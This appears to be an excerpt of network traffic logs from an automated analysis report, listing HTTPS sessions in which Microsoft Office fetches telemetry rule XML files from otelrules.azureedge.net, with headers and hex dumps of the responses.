2024-11-23 16:45:54 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:54 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:54 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1aa9c07b-201e-0096-3276-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164554Z-174c587ffdfdwxdvhC1TEB1c4n000000033g00000000cr1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:55 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:55 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1a99a412-f01e-0099-613c-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164555Z-174c587ffdfb74xqhC1TEBhabc000000037g000000008mp2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:55 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:55 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:55 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164555Z-178bfbc474bnwsh4hC1NYC2ubs00000004s000000000dafm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:55 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:55 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:55 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164555Z-174c587ffdfks6tlhC1TEBeza4000000037g00000000f3ey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:56 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:56 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:56 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 852b0afa-d01e-00a1-0e9b-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164556Z-174c587ffdfb5q56hC1TEB04kg0000000370000000001x4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:56 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:56 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:56 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: f4510472-001e-00ad-7b56-3d554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164556Z-15b8b599d882l6clhC1TEBxd5c00000003400000000075ps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:57 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:57 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:57 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a1d7de20-e01e-0051-6948-3c84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164557Z-178bfbc474b9fdhphC1NYCac0n00000004r00000000048ve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:58 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:57 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:58 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4c6a8f70-a01e-000d-057c-3bd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164558Z-174c587ffdfmrvb9hC1TEBtn38000000035000000000h32f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:58 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:57 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:58 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 8abb671b-d01e-0049-4b0c-3de7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164558Z-178bfbc474btrnf9hC1NYCb80g00000004wg000000009uqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:58 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:58 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:58 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 5431248a-601e-005c-155d-3df06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164558Z-174c587ffdftv9hphC1TEBm29w000000034g000000008uc2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:58 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:58 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:59 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: b5bbaf22-a01e-0070-528a-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164559Z-174c587ffdfn4nhwhC1TEB2nbc000000035g00000000qfc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:59 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:59 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
